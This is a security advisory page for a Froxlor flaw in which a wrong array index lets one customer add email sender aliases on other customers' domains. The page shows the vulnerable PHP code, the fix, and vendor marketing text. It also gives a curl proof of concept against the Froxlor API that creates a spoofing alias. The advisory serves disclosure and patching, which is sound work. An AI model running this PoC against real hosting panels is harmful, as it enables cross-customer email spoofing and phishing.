GHSA-vmjj-qr7v-pxm6
MEDIUMGHSA-vmjj-qr7v-pxm6 is a medium-severity (CVSS 5) CWE-863 vulnerability in froxlor/froxlor. O3 Security confirms whether GHSA-vmjj-qr7v-pxm6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing
Blast Radius
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Description
Summary
In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.
Details
In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:
// Line 96-106
if (substr($allowed_sender, 0, 1) != '@') {
if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {
Response::standardError('emailiswrong', $allowed_sender, true);
}
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? ""); // BUG: [0] is the local part
} else {
if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {
Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);
}
self::validateLocalDomainOwnership(substr($allowed_sender, 1)); // CORRECT: passes domain
}
For input [email protected], explode("@", "[email protected]") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.
The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":
private static function validateLocalDomainOwnership(string $domain): void
{
$sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain");
$domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);
if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {
Response::standardError('senderdomainnotowned', $domain, true);
}
}
Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.
The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):
... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases
WHERE mail_sender_aliases.allowed_sender = '%s') ...
This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.
PoC
# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,
# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)
# Step 1: As Customer A, add a sender alias claiming Customer B's domain
# Via API:
curl -X POST 'https://froxlor-host/api/v1/' \
-H 'Authorization: Basic <customer-A-credentials>' \
-H 'Content-Type: application/json' \
-d '{
"command": "EmailSender.add",
"params": {
"emailaddr": "[email protected]",
"allowed_sender": "[email protected]"
}
}'
# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B
# Actual: 200 OK — alias is created because validateLocalDomainOwnership
# receives "ceo" (local part) instead of "domain-b.com" (domain)
# Step 2: Verify the alias was inserted
curl -X POST 'https://froxlor-host/api/v1/' \
-H 'Authorization: Basic <customer-A-credentials>' \
-H 'Content-Type: application/json' \
-d '{
"command": "EmailSender.listing",
"params": {"emailaddr": "[email protected]"}
}'
# Step 3: Customer A can now send email as [email protected] via SMTP
# because Postfix sender_login_maps will match the mail_sender_aliases entry
# and authorize Customer A's mail account to use that sender address.
The same attack works via the web UI by POST-ing to customer_email.php with action=add_sender and the target domain in allowed_domain.
Impact
Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:
- Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's
smtpd_sender_login_mapsrestriction that is specifically designed to prevent this. - Multi-tenant isolation breach: The domain ownership check (
validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses. - Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.
Note: The wildcard (@domain) code path at line 105 is not affected — it correctly passes the domain to validateLocalDomainOwnership().
Recommended Fix
Change index [0] to [1] on line 100 of lib/Froxlor/Api/Commands/EmailSender.php:
// Before (line 100):
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");
// After:
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[1] ?? "");
This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | all versions | 2.3.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update froxlor/froxlor to 2.3.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vmjj-qr7v-pxm6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vmjj-qr7v-pxm6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vmjj-qr7v-pxm6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vmjj-qr7v-pxm6 in your dependencies?
O3 detects GHSA-vmjj-qr7v-pxm6 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.